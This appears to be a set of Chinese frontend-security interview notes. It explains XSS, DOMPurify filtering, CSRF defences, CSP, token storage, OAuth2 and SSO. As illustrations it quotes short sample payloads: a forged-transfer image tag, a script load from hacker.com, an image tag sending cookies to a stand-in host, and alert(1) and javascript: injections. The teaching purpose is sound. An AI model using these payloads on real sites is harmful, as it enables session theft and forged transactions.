Safe
1. XSS(跨站脚本攻击)相关
1.1 基础原理与防护
XSS 的攻击原理是什么?有哪些常见的防御手段?
攻击原理: XSS(Cross-Site Scripting)的核心本质是**“注入并执行”**。黑客通过各种手段,将恶意的 JavaScript 代码注入到你的网页中。当普通用户访问该页面时,浏览器会误以为这些恶意脚本是网页原本的一部分,从而执行它们。一旦脚本运行,黑客就能为所欲为:窃取用户的 Cookie/Token、监听键盘输入、伪造用户发起请求等。
根据注入方式的不同,XSS 主要分为三类:
- 反射型 (Reflected):恶意代码通常放在 URL 参数里。服务器接收请求后,将恶意代码直接“反射”拼接在 HTML 响应中返回。常见于搜索框、错误提示等。
- 存储型 (Stored):恶意代码被永久存储在目标服务器的数据库中(比如评论区、个人签名)。任何访问该内容的用户都会中招,杀伤力最大。
- DOM 型 (DOM-based):纯前端的安全漏洞。前端 JS 代码在处理 URL 参数、Hash 或类似
document.referrer等用户输入源时,未经验证直接使用innerHTML、eval()等危险 API 渲染到页面上触发。
基础防护手段:
- 输出转义 (Escaping):在将不可信数据插入 HTML 之前,将其转换为 HTML 实体(例如把
<转成<,"转成")。前端在使用 React/Vue 时,默认的双大括号插值 ({{}}或{}) 已经自带了这层转义防护。 - 使用 HttpOnly Cookie:在服务端设置 Cookie 时加上 HttpOnly 属性,这样前端 JS(例如
document.cookie)就无法读取该 Cookie,即使发生了 XSS,黑客也偷不到身份凭证。 - 开启 CSP(内容安全策略):建立白名单,告诉浏览器只能加载和执行指定来源的脚本。
1.2 富文本过滤策略
在处理富文本内容时,如何制定标签过滤策略?
- 面对“转义会导致页面直接显示 HTML 源码”和“直接移除容易产生误杀”的矛盾,应该如何平衡?
- 在实际业务中,如何合理配置 DOMPurify 这类库来实现既安全又不破坏渲染体验的过滤?
我们在编辑器里打字和排版时,其实产生了两种完全不同的数据:
- 真正的 HTML 标签:比如你把一段字加粗、标红,编辑器会在底层生成
<span style="color: red; font-weight: bold;">文本</span>。这是用来渲染样式的。 - 用户输入的纯文本:比如用户在文章里故意打出
<script>这几个字符(仅仅是想作为文本展示)。编辑器在保存时,会自动把它转义成<script>。
理解了这一点,配置 DOMPurify 的思路就极其清晰了:让 DOMPurify 认识并放行第 1 种(安全的排版标签),同时它本身就不会去破坏第 2 种(已经被编辑器转义好的纯文本字符)。
下面是一套实际业务中最常用、也最稳妥的 DOMPurify 配置模板:
第一步:明确你的业务需要哪些排版标签(白名单)
不要偷懒使用默认配置,建议根据你使用的富文本编辑器(比如 Quill、WangEditor)的工具栏功能,精准定制 ALLOWED_TAGS(允许的标签)和 ALLOWED_ATTR(允许的属性)。
import DOMPurify from 'dompurify';
const config = { // 1. 只放行基础排版、表格、媒体等必要的标签 ALLOWED_TAGS: ['p','br','b','i','em','strong','a','span','div', // 基础排版 'img','video','audio', // 媒体 'ul','ol','li', // 列表 'table','thead','tbody','tr','th','td', // 表格 'h1','h2','h3','h4','h5','h6', // 标题 'pre','code','blockquote', // 代码块与引用 ],
// 2. 只放行这些标签可能用到的安全属性 ALLOWED_ATTR: [ 'href','src','alt','title','target', // 链接和图片常用 'class','style', // 允许携带 class 和内联样式(重要!) 'controls','width','height', // 媒体元素常用 ],
// 3. 禁止将任何未知的协议作为 URL(防止 javascript:alert(1) 这种注入) ALLOW_UNKNOWN_PROTOCOLS: false,};
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);第二步:解决“样式”与“安全”的冲突
“放行了 style 属性,黑客能不能在里面写恶意的 CSS 表达式?”
DOMPurify 当你允许了 style 属性时,底层自带了一个非常严苛的 CSS 解析器:
- 它会保留
color: red; font-size: 16px;这种安全的样式。 - 它会自动剔除类似
background-image: url("javascript:...")这种有执行风险的危险样式。
所以,只要你像上面那样配置了 ALLOWED_ATTR: ['style'],富文本的渲染体验就不会被破坏(红字依然是红字),同时也是安全的。
第三步:处理特殊的业务需求(利用 Hook)
在真实业务中,我们通常要求文章里的超链接 <a href="..."> 必须在新窗口打开(target="_blank"),并且为了防止钓鱼攻击,必须加上 rel="noopener noreferrer"。单纯靠白名单做不到这种“修改”操作,需要借助 DOMPurify 的 Hook 机制介入过滤过程:
// 在执行 sanitize 之前,注册一个全局 HookDOMPurify.addHook('afterSanitizeAttributes', function (node) { if (node.tagName === 'A') { node.setAttribute('target', '_blank'); node.setAttribute('rel', 'noopener noreferrer'); }});
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);总结示例
- 场景:用户在富文本里写了一段展示用的代码
<script>alert(1)</script>。 - 富文本编辑器在输出 HTML 时,会将其编码为:
<pre><code><script>alert(1)</script></code></pre>。 - 脏 HTML 经过 DOMPurify 配置后:
<pre>和<code>在白名单里保留;里面的<script>只是普通文本,DOMPurify 不会动它。 - 最终结果:渲染体验完美,页面上显示出
<script>的源码且未被执行;其他加粗、标红的标签也正常渲染。
这套基于白名单 + 适度保留 style + Hook 改造的策略,基本能覆盖 95% 以上前端富文本的防 XSS 需求。
2. CSRF(跨站请求伪造)相关
2.1 基础原理与攻击链路
什么是 CSRF?请详细描述一次完整的 CSRF 攻击过程。
CSRF (Cross-Site Request Forgery) 的本质是“借刀杀人”。黑客根本不需要窃取你的账号密码,他只是利用了浏览器会自动携带 Cookie 的机制,冒充你去执行某些敏感操作。
经典 CSRF 攻击场景(以银行转账为例):
- 登录受信任网站:你在浏览器里登录了正规的银行网站 bank.com。登录成功后,服务器在你的浏览器里种下了一颗代表你身份的 Cookie(且此时你没有关掉这个网页)。
- 误入危险境地:你不小心点开了一个黑客发来的恶意链接,进入了黑客的网站 hacker.com。
- 发起伪造请求:黑客的网站里埋伏好了一段代码,比如隐藏表单或图片:
<img src="http://bank.com/transfer?toAccount=hacker&amount=10000">。 - 浏览器“助纣为虐”:只要向 bank.com 发起请求,浏览器就会自动带上属于 bank.com 的 Cookie。哪怕这个请求是从 hacker.com 发起的!
- 攻击达成:银行服务器收到了转账请求和你的合法 Cookie,认为凭证正确、是用户本人操作,于是钱被转走。
2.2 Cookie 层面的防御
在 Cookie 层面可以采取哪些具体的防范措施(例如 SameSite 等)?
在服务端设置 Cookie 时,可以加上 SameSite 字段,用来告诉浏览器:“跨站发请求时,要不要带上这个 Cookie?”
- SameSite=Strict(最严格):完全禁止第三方网站携带 Cookie。只要请求不是从 bank.com 页面发出的,Cookie 绝对不带。安全度最高,但体验较差(从外部链接点进系统可能让用户重新登录)。
- SameSite=Lax(现代浏览器默认):宽松模式。普通页面跳转(如
<a>点链接、GET 表单)会带 Cookie;但 AJAX/Fetch、<img>加载、POST 表单等一律拦截 Cookie。能防御绝大部分 CSRF 攻击。 - SameSite=None:不管跨不跨站都带 Cookie(必须配合 Secure 在 HTTPS 下使用)。
2.3 CSRF Token 机制深究
CSRF Token 的下发时机是什么时候?前端如何获取?黑客有没有可能获取到?
方案 A:双重 Cookie 验证
- 下发时机:用户登录成功后,服务端除设置用于身份认证的 sessionId Cookie(HttpOnly)外,再额外下发一个专门防 CSRF 的 Cookie(如
csrf_token,不设 HttpOnly)。 - 前端怎么取:通过
document.cookie读出csrf_token。 - 怎么发给后端:把读到的 token 塞到请求头,如
X-CSRF-Token: xxx。 - 后端验证:对比“请求头里的 Token”和“Cookie 里的 Token”。一致则合法。
- 为什么安全? 黑客的网站能让浏览器自动带上 Cookie,但无法用 JS 读取你的 Cookie(同源策略),也就无法把 Token 塞进请求头。后端发现请求头没有 Token 即拦截。(这也是 Axios 里
xsrfCookieName、xsrfHeaderName的工作原理。)
方案 B:同步器 Token 模式 (Synchronizer Token)
- 下发时机:服务端在渲染页面时把 Token 写在 HTML 的
<meta>里,或 SPA 在登录后的第一个初始化接口里获取。 - 前端怎么取:存在内存、Vuex/Redux 或 LocalStorage。
- 发送机制:每次 AJAX 在请求头带上。Token 不在 Cookie 里,跨站请求自然带不上。
方案对比: SameSite 在底层防御,不需改业务代码,是现代首选。Token 方案则强制要求前端提供一个“黑客无法通过跨站自动带上”的凭证,比只校验 Referer 更严谨,也不会因用户隐藏 Referer 而产生误杀。
3. CSP(内容安全策略)相关
3.1 策略与应用
什么是 CSP?它的核心策略有哪些,是如何帮助防御 XSS 等安全风险的?
1. CSP 的核心本质:浏览器的“白名单”机制
过去浏览器只要 HTML 里写了 <script src="xxx"> 或 <img src="yyy"> 就会去加载执行,给了黑客可乘之机。CSP 的本质是:由服务端(或前端 Meta 标签)告诉浏览器,当前页面只允许从哪些合法域名加载资源,其余一律封杀。
2. CSP 的配置方式
- 方式一(推荐):HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; - 方式二:HTML
<meta>标签(放在<head>最前)<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
3. 核心策略指令
- default-src:全局兜底。
'self'表示只允许同源资源。 - script-src:防 XSS 的核心,指定可执行脚本的来源。若配置
script-src 'self',注入的<script src="https://hacker.com/xss.js">会被浏览器拒绝加载。 - style-src:指定 CSS 来源。
- img-src:指定图片来源,可防止数据通过
<img src="http://hacker.com/log?cookie=xxx">外泄。 - connect-src:限制 AJAX、Fetch、WebSocket 的目标地址。
4. CSP 如何强化防 XSS
- 禁止外链脚本:不在白名单的域名,
.js无法加载。 - 禁止内联脚本:开启 CSP 后,
<script>alert(1)</script>、<button onclick="alert(1)">等会被拒绝执行,除非显式开启'unsafe-inline'。 - 禁止动态执行:默认封杀
eval()、setTimeout('string')等,除非开启'unsafe-eval'。 现代 CSP 支持用 nonce 或 hash 对合法的内联脚本单独授权,既安全又灵活。
总结:CSP 是“防御深度”的体现。即使存在注入漏洞,只要策略足够严格,恶意脚本也无法加载、执行或把数据发出去。
4. 身份认证与 Token 安全
4.1 Token 存储位置
身份认证的 Token 应该放在哪里最合适(Cookie、LocalStorage 还是内存)?各自的安全隐患是什么?
| 存储位置 | 机制与优势 | 主要隐患 |
| **LocalStorage / SessionStorage** | 登录后存 Token,请求时塞进 `Authorization: Bearer | XSS 可执行 `localStorage.getItem('token')`,Token 一旦泄露即可接管账号。 |
| **Cookie** | 后端 Set-Cookie 下发;配 HttpOnly 防 XSS 读取,Secure 防窃听。 | 每次请求自动携带,易被 CSRF 利用(若 SameSite 等未配好)。 |
| **内存 (Memory)** | 存于 Pinia/Redux/Context 或闭包变量,不写本地存储。防 CSRF(不自动带)+ 防 XSS 窃取(难从作用域打捞)。 | 刷新即丢失,用户被登出,单纯内存方案难以落地。 |
4.2 业界最佳实践:双 Token + 混合存储(无感刷新)
-
Access Token(短效,如 15 分钟)
- 存于前端内存(Pinia / Redux / JS 变量)。
- 每次业务请求在 Header 里携带。
- 寿命短 + 在内存,极难窃取;即便 XSS 泄露,很快过期。
-
Refresh Token(长效,如 7 天)
- 存于 HttpOnly + Secure + SameSite=Strict 的 Cookie。
- 当 Access Token 过期或页面刷新导致内存 Token 丢失时,前端调
/refresh_token用 Refresh Token 换新的 Access Token 放回内存。 - HttpOnly 防 XSS 窃取,SameSite 防 CSRF;该 Token 仅用于换 Access Token。
建议:
- 内部后台、安全要求一般:LocalStorage + 基础 XSS 防护(如 DOMPurify)即可。
- 对外 C 端敏感业务(金融、电商):必须采用 内存 (Access Token) + HttpOnly Cookie (Refresh Token) 的架构。
4.3 OAuth2 流程
OAuth2.0 的授权流程是怎样的?
本质:一把“受限制的备用钥匙”——不交账号密码,只给第三方有限权限的 Token。典型场景:微信扫码登录第三方网站。
四个角色(以“第三方阅读器支持微信登录”为例):
- 资源拥有者 (Resource Owner):用户本人。
- 客户端 (Client):第三方阅读器的前后端。
- 授权服务器 (Authorization Server):微信的登录授权中心(核身份、发 Token)。
- 资源服务器 (Resource Server):微信的用户数据中心(认 Token 不认人)。
授权码模式 (Authorization Code Flow) 五步:
- 前端引导跳转:点击“微信登录”,重定向到微信授权地址,带
client_id、redirect_uri、scope。 - 用户同意授权:在微信域名下同意授权。
- 发放授权码并重定向:微信生成短效 code,302 重定向回
redirect_uri?code=abc123xyz(不直接给 Token)。 - 后端用 Code 换 Token:前端把 code 交给后端,后端带 code + client_secret 向微信请求,换取 Access Token(及可选 Refresh Token)。client_secret 仅存后端,前端不可见。
- 后端用 Token 换用户信息:后端拿 Access Token 请求微信资源服务器,拿到头像、昵称等,在本站创建/关联账号并下发本站登录状态。
为什么用 Code 而不是直接把 Token 放在 URL? 若 Token 直接挂在回调 URL(隐式模式),一旦有 XSS、恶意插件或中间人,Token 即暴露。Code 换 Token 发生在后端与微信服务器之间,前端至多拿到 code,没有 client_secret 无法换 Token,从而把风险隔离在后端。
4.4 单点登录(SSO)流程
SSO 的授权流程是怎样的?
第一阶段:首次访问 App A(都未登录)
- 访问 A → 无局部会话,重定向到 SSO:
https://sso.com/login?redirect=AppA。 - SSO 发现无全局会话,要求输入账号密码。
- 用户登录成功 → SSO 在 sso.com 下种全局会话 Cookie,生成临时门票 (Ticket),重定向回 A:
https://AppA.com/callback?ticket=123。 - App A 后端拿 ticket 向 SSO 验票,确认用户身份后,在 A 的域名下种 Cookie/发 Token(建立局部会话)。用户登录 App A 完成。
第二阶段:访问 App B(免密登录)
- 访问 B → B 发现无局部会话,重定向到 SSO:
https://sso.com/login?redirect=AppB。 - 浏览器访问 sso.com 时自动带上第一阶段种下的全局 Cookie。
- SSO 发现已有全局会话,不再展示登录页,直接生成给 B 的新 ticket,重定向回 B:
https://AppB.com/callback?ticket=456。 - App B 后端验票,建立局部会话。用户无需再输入密码即登录 B。
总结与关联:SSO 的 ticket 验票机制与 OAuth2 的 code 换 Token 类似——都是前端重定向到认证中心,在安全侧验证身份,再由后端持票据核验,避免敏感凭证在前端暴露。区别在于:OAuth2 用于“授权第三方拿数据”,SSO 用于“同一体系内多系统共享登录状态”。
5. 代码安全相关
5.1 代码混淆与检测
前端代码混淆与混淆检测的具体实现细节是怎样的?与业界常规做法有何差异?
- javascript-obfuscator:用于代码混淆、反调试等。
- 可结合具体项目说明:混淆策略(变量名、控制流、字符串编码等)、检测手段(AST、特征匹配等)与业界方案(如 Terser 仅压缩、专业混淆器做保护)的差异。
文档结束